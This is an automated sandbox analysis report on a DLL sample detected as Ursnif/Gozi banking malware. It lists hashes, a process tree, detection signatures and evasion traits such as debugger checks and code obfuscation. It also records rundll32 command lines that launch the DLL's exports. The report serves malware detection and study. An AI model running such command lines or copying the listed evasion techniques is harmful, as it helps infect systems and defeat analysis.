Play interactive tour

Edit tour

Analysis Report kS5hYPcgm8.dll

Overview

General Information

Sample Name:	kS5hYPcgm8.dll
Analysis ID:	408913
MD5:	68fc6441db6c5539573adf08f210c39b
SHA1:	c67a6a85716e0f1439cae1c1cdf259c271515e85
SHA256:	802a752fca3ded051f0655c68012c769232d098d4a57c9887da39fa89070235a
Tags:	dllGozi
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Ursnif

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found potential string decryption / allocating functions

PE file contains an invalid checksum

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 2212 cmdline: loaddll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 4356 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 1556 cmdline: rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 5700 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6240 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 1140 cmdline: rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Connectdark MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 2576 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6204 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 6324 cmdline: rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Mindlake MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6336 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6396 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 6388 cmdline: rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Porthigh MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6416 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6500 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 6488 cmdline: rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Problemscale MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6524 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6936 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rundll32.exe (PID: 6720 cmdline: rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,WingGrass MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6908 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 7060 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6888 cmdline: C:\Windows\system32\cmd.exe /c cd Island MD5: F3BDBE3BB6F734E357235F4D5898582D)

cmd.exe (PID: 6944 cmdline: C:\Windows\system32\cmd.exe /c cd Matter m MD5: F3BDBE3BB6F734E357235F4D5898582D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: kS5hYPcgm8.dll

Virustotal: Detection: 51%

Perma Link

Source: kS5hYPcgm8.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: kS5hYPcgm8.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: c:\938\follow-Record\Suffix\observe-element\force.pdb source: loaddll32.exe, 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.619699878.000000006DD7A000.00000002.00020000.sdmp, rundll32.exe, 0000000C.00000002.537317652.000000006DD7A000.00000002.00020000.sdmp, rundll32.exe, 0000000F.00000002.575775840.000000006DD7A000.00000002.00020000.sdmp, rundll32.exe, 00000014.00000002.619037007.000000006DD7A000.00000002.00020000.sdmp, rundll32.exe, 00000019.00000002.574975507.000000006DD7A000.00000002.00020000.sdmp, kS5hYPcgm8.dll

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match

File source: 3.2.rundll32.exe.6dcf0000.1.unpack, type: UNPACKEDPE

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match

File source: 3.2.rundll32.exe.6dcf0000.1.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DCF2485 NtQueryVirtualMemory,

3_2_6DCF2485

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD31C3C	0_2_6DD31C3C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD33E00	0_2_6DD33E00
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD584BB	0_2_6DD584BB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD667D9	0_2_6DD667D9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD45150	0_2_6DD45150
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD4E079	0_2_6DD4E079
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD60396	0_2_6DD60396
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD702BC	0_2_6DD702BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD584BB	2_2_6DD584BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD31C3C	2_2_6DD31C3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD667D9	2_2_6DD667D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD33E00	2_2_6DD33E00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD45150	2_2_6DD45150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD4E079	2_2_6DD4E079
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD60396	2_2_6DD60396
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD702BC	2_2_6DD702BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DCF2264	3_2_6DCF2264
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD584BB	3_2_6DD584BB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD31C3C	3_2_6DD31C3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD33E00	3_2_6DD33E00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD45150	3_2_6DD45150
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD60396	3_2_6DD60396

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6DD30990 appears 34 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6DD300AC appears 100 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6DD30990 appears 56 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6DD300AC appears 193 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6DD300E0 appears 47 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6DD523A9 appears 33 times

Source: kS5hYPcgm8.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal56.troj.winDLL@55/0@0/0

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6248:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7036:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6512:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6348:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4228:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6428:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_01

Source: kS5hYPcgm8.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Connectdark

Source: kS5hYPcgm8.dll

Virustotal: Detection: 51%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Connectdark
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Mindlake
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Porthigh
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Problemscale
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,WingGrass
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Connectdark	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Mindlake	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Porthigh	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,Problemscale	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kS5hYPcgm8.dll,WingGrass	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\kS5hYPcgm8.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: kS5hYPcgm8.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: kS5hYPcgm8.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: kS5hYPcgm8.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: kS5hYPcgm8.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: kS5hYPcgm8.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: kS5hYPcgm8.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: kS5hYPcgm8.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: kS5hYPcgm8.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: kS5hYPcgm8.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: kS5hYPcgm8.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: kS5hYPcgm8.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: kS5hYPcgm8.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: kS5hYPcgm8.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DCF1F31 LoadLibraryA,GetProcAddress,

3_2_6DCF1F31

Source: kS5hYPcgm8.dll

Static PE information: real checksum: 0xf3990 should be: 0xf169d

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD309D6 push ecx; ret	0_2_6DD309E9
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD30075 push ecx; ret	0_2_6DD30088
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD309D6 push ecx; ret	2_2_6DD309E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD30075 push ecx; ret	2_2_6DD30088
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DCF2253 push ecx; ret	3_2_6DCF2263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DCF2200 push ecx; ret	3_2_6DCF2209
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD309D6 push ecx; ret	3_2_6DD309E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD30075 push ecx; ret	3_2_6DD30088

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match

File source: 3.2.rundll32.exe.6dcf0000.1.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DD51F6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6DD51F6D

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6DCF1F31 LoadLibraryA,GetProcAddress,

3_2_6DCF1F31

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD5966F mov eax, dword ptr fs:[00000030h]	0_2_6DD5966F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD5966F mov eax, dword ptr fs:[00000030h]	2_2_6DD5966F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD5966F mov eax, dword ptr fs:[00000030h]	3_2_6DD5966F

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD51F6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6DD51F6D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD307A7 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6DD307A7
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DD30288 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6DD30288
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD307A7 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6DD307A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD51F6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6DD51F6D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6DD30288 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6DD30288
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD51F6D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6DD51F6D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6DD30288 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6DD30288

Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Island	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd Matter m	Jump to behavior
